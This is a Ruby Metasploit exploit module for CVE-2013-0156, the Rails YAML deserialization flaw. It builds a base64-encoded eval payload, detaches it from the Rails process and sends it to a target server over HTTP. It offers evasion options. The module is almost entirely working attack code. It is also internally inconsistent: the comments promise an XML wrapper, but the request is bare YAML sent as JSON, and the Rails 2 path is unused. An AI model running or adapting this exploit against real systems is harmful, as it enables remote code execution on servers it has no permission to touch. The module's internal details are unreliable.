##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
            'Description'    => %q{
                    This module exploits a remote code execution vulnerability in the XML request
                processor of the Ruby on Rails application framework. This vulnerability allows
                an attacker to instantiate a remote object, which in turn can be used to execute
                any ruby code remotely in the context of the application.

                This module has been tested across multiple versions of RoR 3.x and RoR 2.x
            },
            'Author'         =>
                [
                    'charliesome',  # PoC
                    'espes',       # PoC and Metasploit module
                    'lian',        # Identified the RouteSet::NamedRouteCollection vector
                    'hdm'          # Module merge/conversion/payload work
                ],
            'License'        => MSF_LICENSE,
            'References'  =>
                [
                    ['CVE', '2013-0156'],
                    ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
                ],
            'Platform'       => 'ruby',
            'Arch'           => ARCH_RUBY,
            'Privileged'     => false,
            'Targets'        => [ ['Automatic', {} ] ],
            'DisclosureDate' => 'Jan 7 2013',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(80),
                OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
                OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

            ], self.class)

        register_evasion_options(
            [
                OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
            ], self.class)
    end


    #
    # This stub ensures that the payload runs outside of the Rails process
    # Otherwise, the session can be killed on timeout
    #
    def detached_payload_stub(code)
    %Q^
        code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
        if RUBY_PLATFORM =~ /mswin|mingw|win32/
            inp = IO.popen("ruby", "wb") rescue nil
            if inp
                inp.write(code)
                inp.close
            end
        else
            if ! Process.fork()
                eval(code) rescue nil
            end
        end
    ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
    end

    #
    # Create the YAML document that will be embedded into the XML
    #
    def build_yaml_rails2

        # Embed the payload with the detached stub
        code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
        yaml =
            "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
            "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
            "eval(%[#{code}].unpack(%[m0])[0]);' " +
            ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
        yaml
    end


    #
    # Create the YAML document that will be embedded into the XML
    #
    def build_yaml_rails3

        # Embed the payload with the detached stub
        code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
        yaml =
            "--- !ruby/hash\:ActionDispatch\:\:Routing\:\:RouteSet\:\:NamedRouteCollection\n" +
            "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
            "eval(%[#{code}].unpack(%[m0])[0]);' " +
            "\: !ruby/object:OpenStruct\n table\:\n  \:defaults\: {}\n"
        yaml.gsub(':','\u003a')
    end


    #
    # Create the XML wrapper with any desired evasion
    #
    def build_request(v)
        xml = ''

        xml << build_yaml_rails3


        xml
    end

    #
    # Send the actual request
    #
    def exploit

        print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
        res = send_request_cgi({
            'uri'    => datastore['URIPATH'] || "/",
            'method' => datastore['HTTP_METHOD'],
            'ctype'  => 'application/json',
            'data'   => build_request(3)
        }, 25)
        handler


    end
end